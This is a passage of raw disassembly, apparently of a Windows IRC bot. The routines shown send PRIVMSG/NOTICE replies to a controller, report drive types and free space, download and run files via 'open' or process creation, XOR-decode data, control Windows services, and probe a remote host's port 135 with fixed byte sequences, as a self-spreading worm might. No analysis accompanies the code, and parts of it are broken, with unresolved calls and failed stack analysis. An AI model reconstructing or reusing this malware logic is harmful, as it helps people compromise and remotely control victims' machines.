[ebp+arg_0], ebx jbe short loc_40CAE1 push [ebp+arg_0] call dword_43AE30 loc_40CAE1: ; CODE XREF: sub_40C8B4+222j push [ebp+var_1C] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h sub_40C8B4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAF1 proc near ; DATA XREF: sub_40EE72+381Eo ; sub_40EE72+3F6Do var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43AD48 call dword_43ACA8 cmp eax, esi mov [ebp+var_18], eax jz loc_40CF7D push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call near ptr 26707CBh nop cmp eax, edi mov [ebp+var_20], eax jnb short loc_40CBB8 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_42E5E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CB9B push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CB9B: ; CODE XREF: sub_40CAF1+88j lea eax, [ebp+var_510] push eax call sub_40BF6D push [ebp+var_48] call sub_417078 pop ecx pop ecx push esi call near ptr 26302E2h nop loc_40CBB8: ; CODE XREF: sub_40CAF1+68j xor edi, edi call near ptr 26308B3h nop mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_417B89 pop ecx mov [ebp+var_1C], eax loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43ACB0 cmp [ebp+var_34], esi jz short loc_40CC16 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40CFE3 pop ecx pop ecx loc_40CC16: ; CODE XREF: sub_40CAF1+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] nop call near ptr 2660000h cmp edi, ebx jnb short loc_40CC54 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40CC3E mov eax, [ebp+arg_0] loc_40CC3E: ; CODE XREF: sub_40CAF1+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_417390 add esp, 0Ch loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40CC61 cmp edi, [ebp+var_3C] ja short loc_40CCAB loc_40CC61: ; CODE XREF: sub_40CAF1+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40CC7B shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E59C jmp short loc_40CC8B ; --------------------------------------------------------------------------- loc_40CC7B: ; CODE XREF: sub_40CAF1+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E55C loc_40CC8B: ; CODE XREF: sub_40CAF1+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_4405F0 push eax call sub_4172B0 add esp, 10h cmp [ebp+arg_0], esi ja loc_40CBD2 loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40CD00 cmp edi, [ebp+var_3C] jz short loc_40CD00 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_42E518 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j ; sub_40CAF1+1C9j nop call near ptr 26308B3h sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call near ptr 2651922h nop push [ebp+var_1C] call sub_417C3B cmp [ebp+var_38], esi pop ecx jz short loc_40CD8A lea eax, [ebp+var_148] push eax call sub_40C259 cmp eax, [ebp+var_38] pop ecx jz short loc_40CD8A push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_42E4E0 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD8A: ; CODE XREF: sub_40CAF1+241j ; sub_40CAF1+253j cmp [ebp+var_14], esi jz loc_40CFCA cmp [ebp+var_44], 1 jz loc_40CE85 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E498 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CE05 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j lea eax, [ebp+var_510] push eax call sub_40BF6D cmp [ebp+var_40], 1 pop ecx jnz loc_40CFCA push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43AD0C cmp [ebp+var_30], esi jnz loc_40CFCA lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42E464 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 24h jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E414 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CEED push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj lea eax, [ebp+var_510] push eax call sub_40BF6D push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_417330 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_436EDC push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi call near ptr 2780B1Eh nop cmp eax, edi jnz short loc_40CF6F call dword_43ACF8 call sub_40AC42 push esi nop call near ptr 77E75CB5h loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj lea eax, [ebp+var_148] push eax push offset unk_42E3CC jmp short loc_40CF89 ; --------------------------------------------------------------------------- loc_40CF7D: ; CODE XREF: sub_40CAF1+45j lea eax, [ebp+var_248] push eax push offset unk_42E390 loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj lea eax, [ebp+var_510] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CFBD push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj lea eax, [ebp+var_510] push eax call sub_40BF6D pop ecx loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj ; sub_40CAF1+325j ... push [ebp+var_18] call dword_43ADCC push [ebp+var_48] call sub_417078 pop ecx push esi nop call near ptr 26302E2h sub_40CAF1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40CFFF loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj mov dl, byte_42F5C4 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40CFEF locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj retn sub_40CFE3 endp ; =============== S U B R O U T I N E ======================================= sub_40D000 proc near ; CODE XREF: sub_40EE72+2A7Ep ; sub_40EE72+2BA4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4197F9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40D000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D01A proc near ; CODE XREF: sub_406387+458p ; sub_406387+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_43F168 push 0 push edi call sub_417330 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40D03F: ; CODE XREF: sub_40D01A+5Bj ; sub_40D01A+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4191D0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_419250 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40D07D inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40D03F mov byte ptr [esi], 2Ch inc esi jmp short loc_40D03F ; --------------------------------------------------------------------------- loc_40D07D: ; CODE XREF: sub_40D01A+4Bj dec esi mov eax, edi loc_40D080: ; CODE XREF: sub_40D01A+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40D08F mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40D080 ; --------------------------------------------------------------------------- loc_40D08F: ; CODE XREF: sub_40D01A+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40D01A endp ; =============== S U B R O U T I N E ======================================= sub_40D099 proc near ; CODE XREF: sub_40D24E+51p ; sub_40D24E+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43ADF8 sub eax, 0 jz short loc_40D0DC dec eax jz short loc_40D0D6 dec eax dec eax jz short loc_40D0D0 dec eax jz short loc_40D0CA dec eax jz short loc_40D0C4 dec eax jz short loc_40D0BE mov eax, offset word_42DDD0 retn ; --------------------------------------------------------------------------- loc_40D0BE: ; CODE XREF: sub_40D099+1Dj mov eax, offset off_42E644 retn ; --------------------------------------------------------------------------- loc_40D0C4: ; CODE XREF: sub_40D099+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40D0CA: ; CODE XREF: sub_40D099+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40D0D0: ; CODE XREF: sub_40D099+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40D0D6: ; CODE XREF: sub_40D099+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40D0DC: ; CODE XREF: sub_40D099+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40D099 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43AC94 test eax, eax jz short loc_40D117 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_40D117: ; CODE XREF: sub_40D0E2+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D0E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D12A proc near ; CODE XREF: sub_40B8D8+1F3p ; sub_40D24E+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40D0E2 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40D208 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_419840 push edx push eax call sub_40D01A pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41782A add esp, 10h pop ebx jmp short loc_40D23A ; --------------------------------------------------------------------------- loc_40D208: ; CODE XREF: sub_40D12A+2Cj ; sub_40D12A+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_4172B0 pop ecx pop ecx loc_40D23A: ; CODE XREF: sub_40D12A+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D12A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D24E proc near ; CODE XREF: sub_40D320+17p ; sub_40D320+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4176D0 add esp, 10h test eax, eax jnz short loc_40D2C1 push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E6A4 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 14h jmp short loc_40D2F5 ; --------------------------------------------------------------------------- loc_40D2C1: ; CODE XREF: sub_40D24E+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E658 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 20h loc_40D2F5: ; CODE XREF: sub_40D24E+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_500] push eax call sub_40BF6D add esp, 18h pop edi pop esi pop ebx leave retn sub_40D24E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D320 proc near ; CODE XREF: sub_40EE72+57F0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40D341 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h jmp short loc_40D3A2 ; --------------------------------------------------------------------------- loc_40D341: ; CODE XREF: sub_40D320+9j push esi push edi push ebx push ebx call dword_43AD08 lea esi, [eax+2] push esi call sub_417B89 pop ecx mov edi, eax push edi push esi call dword_43AD08 cmp [edi], bl mov esi, edi jz short loc_40D399 loc_40D365: ; CODE XREF: sub_40D320+77j push offset off_42E6F0 push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40D388 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h loc_40D388: ; CODE XREF: sub_40D320+54j push esi call sub_417AB0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40D365 loc_40D399: ; CODE XREF: sub_40D320+43j push edi call sub_417C3B pop ecx pop edi pop esi loc_40D3A2: ; CODE XREF: sub_40D320+1Fj pop ebx pop ebp retn sub_40D320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3A5 proc near ; DATA XREF: ___:0040E6BAo var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4407FC call dword_43AE30 call sub_416F25 call dword_43ACF8 call dword_43ACF8 mov ebx, dword_424064 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_417330 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_436EDC mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 2640000h nop lea eax, [ebp+var_158] push esi push eax push edi call near ptr 2680000h nop lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2780B1Eh test eax, eax jz short loc_40D46A push 64h call ebx push [ebp+var_10] mov esi, dword_424078 call esi push [ebp+var_C] call esi loc_40D46A: ; CODE XREF: sub_40D3A5+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43F1A0 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx sub_40D3A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D48D proc near ; CODE XREF: sub_40D4C5+125p ; sub_40D4C5+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40D4BB loc_40D49E: ; CODE XREF: sub_40D48D+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_4198F0 add esp, 0Ch test eax, eax jz short loc_40D4C1 inc esi cmp esi, edi jl short loc_40D49E loc_40D4BB: ; CODE XREF: sub_40D48D+Fj xor al, al loc_40D4BD: ; CODE XREF: sub_40D48D+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D4C1: ; CODE XREF: sub_40D48D+27j mov al, 1 jmp short loc_40D4BD sub_40D48D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4C5 proc near ; CODE XREF: sub_402DD7+8Bp ; sub_402DD7+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_417B30 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_40D506 dec eax jz short loc_40D4E4 dec eax loc_40D4DE: ; CODE XREF: sub_40D4C5+57j xor eax, eax loc_40D4E0: ; CODE XREF: sub_40D4C5+3Fj ; sub_40D4C5+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_40D4E4: ; CODE XREF: sub_40D4C5+16j push 3 push 1388h push [ebp+arg_0] call dword_43ADD8 push eax call sub_4076CA add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_40D4E0 ; --------------------------------------------------------------------------- loc_40D506: ; CODE XREF: sub_40D4C5+13j push 6 push 1 push 2 call dword_43AE18 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_40D4DE push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_43AD98 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 cmp eax, edi jz loc_40D622 push ebx push 48h push offset dword_42E6F4 push esi call dword_43ADE8 cmp eax, edi jz loc_40D622 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43ADB0 cmp eax, edi jz loc_40D622 cmp [ebp+var_200E], 0Ch jnz short loc_40D622 push ebx push 18h push offset dword_42E740 push [ebp+arg_4] call dword_43ADE8 cmp eax, edi jz short loc_40D622 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43ADB0 mov esi, eax cmp esi, edi jz short loc_40D622 cmp [ebp+var_200E], 2 jnz short loc_40D622 push 10h push offset loc_42E75C lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h test al, al jz short loc_40D602 cmp esi, 12Ch setnl bl inc ebx jmp short loc_40D622 ; --------------------------------------------------------------------------- loc_40D602: ; CODE XREF: sub_40D4C5+12Fj push 10h push offset dword_42E770 lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_40D622: ; CODE XREF: sub_40D4C5+9Bj ; sub_40D4C5+B2j ... push [ebp+arg_4] call dword_43AE30 mov eax, ebx pop ebx jmp loc_40D4E0 sub_40D4C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D633 proc near ; CODE XREF: sub_40ECFA+3Dp ; sub_40EE72+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_4193FF add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 leave retn sub_40D633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D679 proc near ; CODE XREF: sub_401000+8Bp ; sub_40144A+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40D694 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40D694: ; CODE XREF: sub_40D679+14j push edi call sub_417AB0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_417AB0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42E784 push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40D717 push 7D0h nop call near ptr 2630F90h locret_40D717: ; CODE XREF: sub_40D679+91j leave retn sub_40D679 endp ; =============== S U B R O U T I N E ======================================= sub_40D719 proc near ; CODE XREF: sub_40EE72:loc_410F84p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40D771 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_42E7A8[esi] push edi push eax call sub_40D793 add esp, 14h test eax, eax jnz short loc_40D761 push edi push off_42E7A4[esi] push offset dword_42E8D4 loc_40D751: ; CODE XREF: sub_40D719+56j mov esi, offset dword_43F868 push esi call sub_4172B0 add esp, 10h jmp short loc_40D78E ; --------------------------------------------------------------------------- loc_40D761: ; CODE XREF: sub_40D719+2Aj push eax call sub_40D835 pop ecx push eax push edi push offset dword_42E89C jmp short loc_40D751 ; --------------------------------------------------------------------------- loc_40D771: ; CODE XREF: sub_40D719+Cj lea eax, [eax+eax*2] mov esi, offset dword_43F868 push off_42E7A0[eax*4] push offset dword_42E868 push esi call sub_4172B0 add esp, 0Ch loc_40D78E: ; CODE XREF: sub_40D719+46j mov eax, esi pop edi pop esi retn sub_40D719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D793 proc near ; CODE XREF: sub_40D719+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43AD8C mov edi, eax cmp edi, ebx jnz short loc_40D7BA call near ptr 2670ADCh nop mov ebx, eax jmp short loc_40D82F ; --------------------------------------------------------------------------- loc_40D7BA: ; CODE XREF: sub_40D793+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43AC80 mov esi, eax cmp esi, ebx jnz short loc_40D7DA nop call near ptr 2670ADCh mov ebx, eax jmp short loc_40D827 ; --------------------------------------------------------------------------- loc_40D7DA: ; CODE XREF: sub_40D793+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40D80D cmp eax, 3 jz short loc_40D7FE jle short loc_40D820 cmp eax, 6 jg short loc_40D820 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43ACE8 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D7FE: ; CODE XREF: sub_40D793+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43AC88 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D80D: ; CODE XREF: sub_40D793+4Dj push esi call dword_43ACEC loc_40D814: ; CODE XREF: sub_40D793+69j ; sub_40D793+78j test eax, eax jnz short loc_40D820 nop call near ptr 2670ADCh mov ebx, eax loc_40D820: ; CODE XREF: sub_40D793+54j ; sub_40D793+59j ... push esi call dword_43AC9C loc_40D827: ; CODE XREF: sub_40D793+45j push edi call dword_43AC9C pop esi loc_40D82F: ; CODE XREF: sub_40D793+25j mov eax, ebx pop edi pop ebx leave retn sub_40D793 endp ; =============== S U B R O U T I N E ======================================= sub_40D835 proc near ; CODE XREF: sub_40D719+49p arg_0 = dword ptr 4 